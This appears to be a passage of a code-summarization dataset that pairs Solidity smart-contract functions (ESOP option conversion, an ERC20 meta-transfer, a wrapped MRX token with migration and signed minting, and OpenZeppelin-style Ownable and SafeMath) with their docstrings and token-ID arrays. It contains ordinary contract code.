employee, address exerciseFor, uint256 exercisedOptionsFrac, bool disableAcceleratedVesting ) private returns (uint256 convertedOptions) { Employee storage emp = loadEmployee(employee); EmployeeState prevState = emp.state; require(prevState != EmployeeState.OptionsExercised, "NF_ESOP_EMPLOYEE_ALREADY_EXERCISED"); // non final conversion is not a real conversion uint32 conversionOfferedAt = _isFinalConversion ? _conversionOfferedAt : 0; // calculate conversion options (uint256 pool, uint256 extra, uint96 bonus) = calculateOptionsComponents( emp, calcAtTime, conversionOfferedAt, disableAcceleratedVesting ); // allow to convert less than amount above, bonus does not participate if (exercisedOptionsFrac < DECIMAL_POWER) { pool = Math.decimalFraction(pool, exercisedOptionsFrac); extra = Math.decimalFraction(extra, exercisedOptionsFrac); } // total converted options cannot cross max pools - assigned pools uint256 totalNonConverted = _totalPoolOptions - _remainingPoolOptions + _assignedExtraOptions + _assignedBonusOptions - _exercisedOptions; // exercise options in the name of employee and assign those to exerciseFor convertedOptions = ESOP_OPTIONS_CONVERTER.exerciseOptions( exerciseFor, pool, extra, bonus, emp.exercisedOptions, OPTIONS_PER_SHARE_CAPITAL_UNIT ); if (_isFinalConversion) { convertedOptions = pool + extra; // assign only if bonus pool established if (_totalBonusOptions > 0) { _assignedBonusOptions += bonus; convertedOptions += bonus; } } else { // cannot convert more than max shares require(convertedOptions <= pool + extra, "NF_ESOP_CONVERSION_OVERFLOW"); } assert(convertedOptions < 2**96); // we cannot convert more options than were assigned require(convertedOptions <= totalNonConverted, "NF_ESOP_CANNOT_CONVERT_UNAUTHORIZED"); _exercisedOptions += convertedOptions; // write user emp.state = _isFinalConversion ? EmployeeState.OptionsExercised : prevState; emp.exercisedOptions = uint96(convertedOptions); emit LogEmployeeExercisedOptions(employee, exerciseFor, uint96(pool + extra), bonus, convertedOptions, _isFinalConversion); } function offerOptionsPrivate(address e, uint32 issueDate, uint32 timeToSign, uint96 extraOptions, bool usePool) internal { // do not add twice require(!hasEmployee(e), "NF_ESOP_EMPLOYEE_EXISTS"); require(now + MINIMUM_MANUAL_SIGN_PERIOD >= timeToSign, "NF_ESOP_NO_TIME_TO_SIGN"); uint96 poolOptions; if (usePool) { poolOptions = calcNewEmployeePoolOptions(_remainingPoolOptions); _remainingPoolOptions -= poolOptions; } if (extraOptions > 0) { issueExtraOptions(extraOptions); } Employee memory emp = Employee({ issueDate: issueDate, timeToSign: timeToSign, terminatedAt: 0, fadeoutStarts: 0, poolOptions: poolOptions, extraOptions: extraOptions, exercisedOptions: 0, acceleratedVestingBonusTriggered: false, suspendedAt: 0, state: EmployeeState.WaitingForSignature, idx: 0 }); setEmployee(e, emp); emit LogEmployeeOffered(COMPANY_LEGAL_REPRESENTATIVE, e, poolOptions, extraOptions); } function issueExtraOptions(uint256 extraOptions) internal { require(_assignedExtraOptions + extraOptions <= _totalExtraOptions, "NF_ESOP_EXTRA_POOL_EMPTY"); _assignedExtraOptions += extraOptions; } function isESOPOpen() internal constant returns (bool) { return _esopState == ESOPState.Open || (_esopState == ESOPState.Conversion && !_isFinalConversion); } }
esop is open when it's open or in partial conversion state
modifier onlyESOPOpen() { require(isESOPOpen(), "NF_ESOP_ONLY_OPEN"); _; }
12,617,707
[ 1, 281, 556, 353, 1696, 1347, 518, 1807, 1696, 578, 316, 4702, 4105, 919, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 41, 3584, 2419, 1907, 1435, 288, 203, 3639, 2583, 12, 291, 41, 3584, 2419, 1907, 9334, 315, 26473, 67, 41, 3584, 52, 67, 10857, 67, 11437, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/137/0x4b766A07D464451415f43cd9334E77FE4122c7a2/sources/project_/contracts/ERC20MetaHandler.sol
* @notice Transfers `amount` of `token` to `target`./
function transfer(IERC20Meta token, uint256 amount, address target, uint256 fee, uint256 chainTokenFee) public { TransferRequestData memory requestData = TransferRequestData(token, amount, target); FeeInformation memory feeInformation = FeeInformation(token, fee, chainTokenFee); checkTransfer(msg.sender, requestData, feeInformation); retrieveFeeInternal(msg.sender, feeInformation); transferPrivate(msg.sender, requestData); finishFeeInternal(feeInformation); }
4,672,982
[ 1, 1429, 18881, 1375, 8949, 68, 434, 1375, 2316, 68, 358, 1375, 3299, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 12, 45, 654, 39, 3462, 2781, 1147, 16, 2254, 5034, 3844, 16, 1758, 1018, 16, 2254, 5034, 14036, 16, 2254, 5034, 2687, 1345, 14667, 13, 1071, 288, 203, 3639, 12279, 17031, 3778, 19039, 273, 12279, 17031, 12, 2316, 16, 3844, 16, 1018, 1769, 203, 3639, 30174, 5369, 3778, 14036, 5369, 273, 30174, 5369, 12, 2316, 16, 14036, 16, 2687, 1345, 14667, 1769, 203, 203, 3639, 866, 5912, 12, 3576, 18, 15330, 16, 19039, 16, 14036, 5369, 1769, 203, 3639, 4614, 14667, 3061, 12, 3576, 18, 15330, 16, 14036, 5369, 1769, 203, 3639, 7412, 6014, 12, 3576, 18, 15330, 16, 19039, 1769, 203, 3639, 4076, 14667, 3061, 12, 21386, 5369, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.6; import "./erc1363.sol"; import "./pausable.sol"; import "./managable.sol"; import "./vendorregistry.sol"; import "./imigratablewrappedasset.sol"; import "./imigratablevendorregistry.sol"; /// An ERC1363 (also ERC20) for wrapping MRX on the ethereum or BSC chain. /// @title WrappedAsset /// @author loma oopaloopa contract WrappedAsset is ERC1363, Pausable, Managable, IMigratableWrappedAsset { address public prevVendorRegistry = address(0); address public prevWrappedAsset = address(0); address public nextWrappedAsset = address(0); uint256 immutable private maxSupply; uint256 private snapshotIntervalSeconds; uint256 private snapshotId = 0; uint256 private snapshotBlockTimestamp = 0; mapping(bytes32 => bool) private usedNonces; address private registryAddr = address(0); VendorRegistry private registry; /// Emitted whenever a new snapshot is stored. /// @param blockTimestamp The timestamp of the first block after the snapshot. /// @param blockNumber The block number of the first block after the snapshot. /// @param snapshotId The new current snapshot ID after the snapshot. event SnapshotInfo(uint256 indexed blockTimestamp, uint256 indexed blockNumber, uint256 indexed snapshotId); /// Deploy a new WrappedAsset contract, never called directly -- only from VendorRegistry's constructor. /// @param tokenName The name for the token (returned by name()). /// @param tokenSymbol The symbol for the token (returned by symbol()). /// @param tokenCap The cap or maximum amount of tokens allowed in satoshi. /// @param tokenSnapshotIntervalHours The initial time in hours between automatic snapshots. constructor(string memory tokenName, string memory tokenSymbol, uint256 tokenCap, uint256 tokenSnapshotIntervalHours) ERC20(tokenName, tokenSymbol) Ownable() Pausable() { require(tokenCap > 0, "WrappedAsset: The maxSupply is 0, it must be > 0."); require(tokenSnapshotIntervalHours > 0, "WrappedAsset: The time between snapshots can't be 0, it must be at least 1 hour."); maxSupply = tokenCap; snapshotIntervalSeconds = 60*60*tokenSnapshotIntervalHours; } /// An owner only method to change the VendorRegistry this WrappedAsset is associated with, use VendorRegistry.setWrappedAsset() to make the required reciprical change on VendorRegistry. /// @param vendorRegistryAddress The address of the new VendorRegistry contract to pair with. function setVendorRegistry(address vendorRegistryAddress) public isOwner { registryAddr = vendorRegistryAddress; registry = VendorRegistry(vendorRegistryAddress); } /// Get the address of this WrappedAsset's VendorRegistry. /// @return The VendorRegistry contract's address. function getVendorRegistry() public view returns (address) { return registryAddr; } /// An owner only method to set the origin VendorRegistry & WrappedAsset from which the public method migrateFromPreviousVersion() will transfer registrations and funds to this WrappedAsset and it's VendorRegistry. /// Call setNextVersion() on the previous WrappedAsset first. /// @param vendorRegistry The address of the origin VendorRegistry from which registrations will be transfered to this WrappedAsset's VendorRegistry by migrateFromPreviousVersion(). /// @param wrappedAsset The address of the origin WrappedAsset from which funds will be transfered to this WrappedAsset by migrateFromPreviousVersion(). function setPrevVersion(address vendorRegistry, address wrappedAsset) public isOwner { require(vendorRegistry != address(0), "WrappedAsset: The address of the previous VendorRegistry can't be 0."); require(wrappedAsset != address(0), "WrappedAsset: The address of the previous WrappedAsset can't be 0."); require(prevVendorRegistry == address(0), "WrappedAsset: The previous version has already been set."); prevVendorRegistry = vendorRegistry; prevWrappedAsset = wrappedAsset; } /// An owner only method to set the address of the next version of WrappedAsset which is allowed to migrate funds and registrations out of this WrappedAsset and it's VendorRegistry. /// After calling this call setPrevVersion() on the next WrappedAsset to enable migration. /// @param wrappedAsset The address of the WrappedAsset to which funds may be migrated (I.E. the WrappedAsset allowed to call migrationBurn()). function setNextVersion(address wrappedAsset) public isOwner { require(wrappedAsset != address(0), "WrappedAsset: The address of the next WrappedAsset can't be 0."); require(nextWrappedAsset == address(0), "WrappedAsset: The next version has already been set."); nextWrappedAsset = wrappedAsset; } /// @inheritdoc ERC20 function name() public view virtual override returns (string memory) { return super.name(); } /// @inheritdoc ERC20 function symbol() public view virtual override returns (string memory) { return super.symbol(); } /// @inheritdoc ERC20 function decimals() public pure virtual override returns (uint8) { return 8; } /// Get the maximum amount of tokens allowed in satoshi. /// @return The maximum amount of tokens allowed in satoshi. function cap() public view returns (uint256) { return maxSupply; } /// Get the maximum amount of tokens in satoshi that can currently be minted without exceeding the maximum supply. /// @return The number of satoshi available before reaching the maximum supply. function unusedSupply() public view virtual returns (uint256) { return maxSupply - totalSupply(); } /// @inheritdoc IERC20 function totalSupply() public view virtual override returns (uint256) { return super.totalSupply(); } /// Get the amount of wrapped MRX in the caller's account in satoshi. /// @return The caller's balance in satoshi. function balance() public view virtual returns (uint256) { return super.balanceOf(_msgSender()); } /// @inheritdoc IERC20 function balanceOf(address account) public view virtual override returns (uint256) { return super.balanceOf(account); } /// @inheritdoc IERC20 function transfer(address recipient, uint256 amount) public virtual override returns (bool) { return super.transfer(recipient, amount); } /// Move the caller's funds and, if necessary, their registration from the previous WrappedAsset & VendorRegistry (as set with setPrevVersion()) to this WrappedAsset and ir's VendorRegistry. /// This is the method members of the public use to move to an upgraded WrappedAsset & VendorRegistry. function migrateFromPreviousVersion() public { require(prevVendorRegistry != address(0), "WrappedAsset: Migration failed because the previous version has not been set."); IMigratableVendorRegistry prevVr = IMigratableVendorRegistry(prevVendorRegistry); address mrxAddress = prevVr.findMrxFromVendor(_msgSender()); require(mrxAddress != address(0), "WrappedAsset: Migration failed because the caller is not registered with the previous version."); if (registry.findMrxFromVendor(_msgSender()) == address(0)) registry.migrateVendorRegistration(mrxAddress, _msgSender()); IMigratableWrappedAsset prevWa = IMigratableWrappedAsset(prevWrappedAsset); uint256 amount = prevWa.migrationBurn(_msgSender(), unusedSupply()); _mint(_msgSender(), amount); } /// A pausable method by which a member of the public can add an amount of wrapped MRX to their account 1 time only, and only with permission in the form of a nonce and a signature. /// @param amount The amount of wrapped MRX to add to the caller's account in satoshi. /// @param nonce A 1 time use only large number forever uniquely identifying this permission to mint. /// @param signature A manager of this contract's signature on a premission to mint message. function vendorMint(uint256 amount, bytes32 nonce, bytes memory signature) public whenNotPaused { require(totalSupply() + amount <= maxSupply, "WrappedAsset: Mint failed, it would exceed the cap."); require(registry.findMrxFromVendor(msg.sender) != address(0), "WrappedAsset: Mint failed, the caller's address has not been registered as a vendor."); require(!usedNonces[nonce], "WrappedAsset: Mint failed, this mint has been used before."); usedNonces[nonce] = true; bytes memory message = abi.encodePacked(msg.sender, amount, address(this), nonce); require(addressIsAManager(recoverSigner(message, signature)), "WrappedAsset: Mint failed, invalid signature."); _mint(_msgSender(), amount); } /// Check whether or not the vendor mint identifed by the nonce has happened. /// @return True if the mint has happened, and false otherwise. function mintRedeemed(bytes32 nonce) public view returns (bool) { return usedNonces[nonce]; } /// A manager only method to mint wrapped MRX into the manager's account without needing any permission. /// @param amount The amount of wrapped MRX to add to the manager's account in satoshi. function mint(uint256 amount) public isManager virtual { require(totalSupply() + amount <= maxSupply, "WrappedAsset: Mint failed, it would exceed the cap."); _mint(_msgSender(), amount); } /// Deduct the given amount from the caller's account. /// @param amount The amount to be deducted from the caller's account in satoshi. function burn(uint256 amount) public virtual { require(registry.findMrxFromVendor(_msgSender()) != address(0), "WrappedAsset: Burn failed, the caller's address has not been registered as a vendor."); _burn(_msgSender(), amount); } /// @inheritdoc IMigratableWrappedAsset function migrationBurn(address account, uint256 maxAmount) external override returns (uint256) { require(address(0) != nextWrappedAsset, "WrappedAsset: Migration failed because the next version has not been set."); require(_msgSender() == nextWrappedAsset, "WrappedAsset: Access not permitted."); require(registry.findMrxFromVendor(account) != address(0), "WrappedAsset: Migration failed, the caller's address has not been registered as a vendor."); uint256 amount = balanceOf(account); if (amount > maxAmount) amount = maxAmount; _burn(account, amount); return amount; } /// @inheritdoc IERC20 function allowance(address owner, address spender) public view virtual override returns (uint256) { return super.allowance(owner, spender); } /// @inheritdoc IERC20 function approve(address spender, uint256 amount) public virtual override returns (bool) { return super.approve(spender, amount); } /// @inheritdoc IERC20 function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { return super.transferFrom(sender, recipient, amount); } /// @inheritdoc ERC20 function increaseAllowance(address spender, uint256 addedValue) public virtual override returns (bool) { return super.increaseAllowance(spender, addedValue); } /// @inheritdoc ERC20 function decreaseAllowance(address spender, uint256 subtractedValue) public virtual override returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } /// Pause the process of vendor minting with vendorMint(). function pause() public isManager virtual { _pause(); } /// Restart the process of vendor minting with vendorMint(). function unpause() public isManager virtual { _unpause(); } /// Check whether or not the process of vendor minting with vendorMint() is currently paused. /// @return True if the process of vendor minting with vendorMint() is currently paused, otherwise false. function paused() public view virtual override returns (bool) { return super.paused(); } /// Get the balance of account at the time snapshotId was created. /// @param account The account for which to get the balance at the time snapshotId was created. /// @param snapId The id of the snapshot. /// @return The amount of wrapped MRX in the account in satoshi. function balanceOfAt(address account, uint256 snapId) public view virtual override returns (uint256) { return super.balanceOfAt(account, snapId); } /// Get the total supply at the time snapshotId was created. /// @param snapId The snapshot id. /// @return The total supply at the time snapshotId was created in satoshi. function totalSupplyAt(uint256 snapId) public view virtual override returns(uint256) { return super.totalSupplyAt(snapId); } /// Get the current snapshot id. /// @return The current snapshot id. function getCurrentSnapshotId() public view virtual returns (uint256) { return _getCurrentSnapshotId(); } /// Take a snapshot. /// @return The new current snapshot id after the snapshot. function takeSnapshot() public isManager virtual returns (uint256) { nextSnapshotId(block.timestamp); return _getCurrentSnapshotId(); } /// Set the interval in hours between automatic snapshots. /// @param snapshotIntervalHours The new interval in hours between automatic snapshots. function setSnapshotIntervalHours(uint256 snapshotIntervalHours) public isManager virtual { require(snapshotIntervalHours > 0, "WrappedAsset: The time between snapshots can't be 0, it must be at least 1 hour."); snapshotIntervalSeconds = 60*60*snapshotIntervalHours; } /// Get the current interval in hours between automatic snapshots. /// @return The current interval in hours between automatic snapshots. function getSnapshotIntervalHours() public view virtual returns (uint256) { return snapshotIntervalSeconds/(60*60); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { uint256 timestamp = block.timestamp; if (timestamp > snapshotBlockTimestamp + snapshotIntervalSeconds) nextSnapshotId(timestamp); super._beforeTokenTransfer(from, to, amount); } function nextSnapshotId(uint256 blockTimestamp) private { snapshotId++; snapshotBlockTimestamp = blockTimestamp; emit SnapshotInfo(blockTimestamp, block.number, snapshotId); } function _getCurrentSnapshotId() internal view virtual override returns (uint256) { return snapshotId; } function recoverSigner(bytes memory message, bytes memory signature) internal pure returns (address) { require(signature.length == 65, "WrappedAsset: Action failed, invalid signature."); uint8 v; bytes32 r; bytes32 s; assembly { r := mload(add(signature, 32)) s := mload(add(signature, 64)) v := byte(0, mload(add(signature, 96))) } return ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", keccak256(message))), v, r, s); } }
Move the caller's funds and, if necessary, their registration from the previous WrappedAsset & VendorRegistry (as set with setPrevVersion()) to this WrappedAsset and ir's VendorRegistry. This is the method members of the public use to move to an upgraded WrappedAsset & VendorRegistry.
function migrateFromPreviousVersion() public { require(prevVendorRegistry != address(0), "WrappedAsset: Migration failed because the previous version has not been set."); IMigratableVendorRegistry prevVr = IMigratableVendorRegistry(prevVendorRegistry); address mrxAddress = prevVr.findMrxFromVendor(_msgSender()); require(mrxAddress != address(0), "WrappedAsset: Migration failed because the caller is not registered with the previous version."); if (registry.findMrxFromVendor(_msgSender()) == address(0)) registry.migrateVendorRegistration(mrxAddress, _msgSender()); IMigratableWrappedAsset prevWa = IMigratableWrappedAsset(prevWrappedAsset); uint256 amount = prevWa.migrationBurn(_msgSender(), unusedSupply()); _mint(_msgSender(), amount); }
7,309,022
[ 1, 7607, 326, 4894, 1807, 284, 19156, 471, 16, 309, 4573, 16, 3675, 7914, 628, 326, 2416, 24506, 6672, 473, 776, 5227, 4243, 261, 345, 444, 598, 444, 9958, 1444, 10756, 358, 333, 24506, 6672, 471, 9482, 1807, 776, 5227, 4243, 18, 1220, 353, 326, 707, 4833, 434, 326, 1071, 999, 358, 3635, 358, 392, 31049, 24506, 6672, 473, 776, 5227, 4243, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 13187, 1265, 8351, 1444, 1435, 1071, 203, 3639, 288, 203, 3639, 2583, 12, 10001, 14786, 4243, 480, 1758, 12, 20, 3631, 315, 17665, 6672, 30, 15309, 2535, 2724, 326, 2416, 1177, 711, 486, 2118, 444, 1199, 1769, 203, 3639, 6246, 2757, 8163, 14786, 4243, 2807, 58, 86, 273, 6246, 2757, 8163, 14786, 4243, 12, 10001, 14786, 4243, 1769, 203, 3639, 1758, 9752, 92, 1887, 273, 2807, 58, 86, 18, 4720, 49, 20122, 1265, 14786, 24899, 3576, 12021, 10663, 203, 3639, 2583, 12, 81, 20122, 1887, 480, 1758, 12, 20, 3631, 315, 17665, 6672, 30, 15309, 2535, 2724, 326, 4894, 353, 486, 4104, 598, 326, 2416, 1177, 1199, 1769, 203, 3639, 309, 261, 9893, 18, 4720, 49, 20122, 1265, 14786, 24899, 3576, 12021, 10756, 422, 1758, 12, 20, 3719, 4023, 18, 22083, 14786, 7843, 12, 81, 20122, 1887, 16, 389, 3576, 12021, 10663, 203, 3639, 6246, 2757, 8163, 17665, 6672, 2807, 59, 69, 273, 6246, 2757, 8163, 17665, 6672, 12, 10001, 17665, 6672, 1769, 203, 3639, 2254, 5034, 3844, 273, 2807, 59, 69, 18, 15746, 38, 321, 24899, 3576, 12021, 9334, 10197, 3088, 1283, 10663, 203, 3639, 389, 81, 474, 24899, 3576, 12021, 9334, 3844, 1769, 203, 3639, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-04-04 */ //SPDX-License-Identifier: MIT pragma solidity 0.8.13; //import "@nomiclabs/buidler/console.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor() {} function _msgSender() internal view returns (address payable) { return payable(msg.sender); } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) 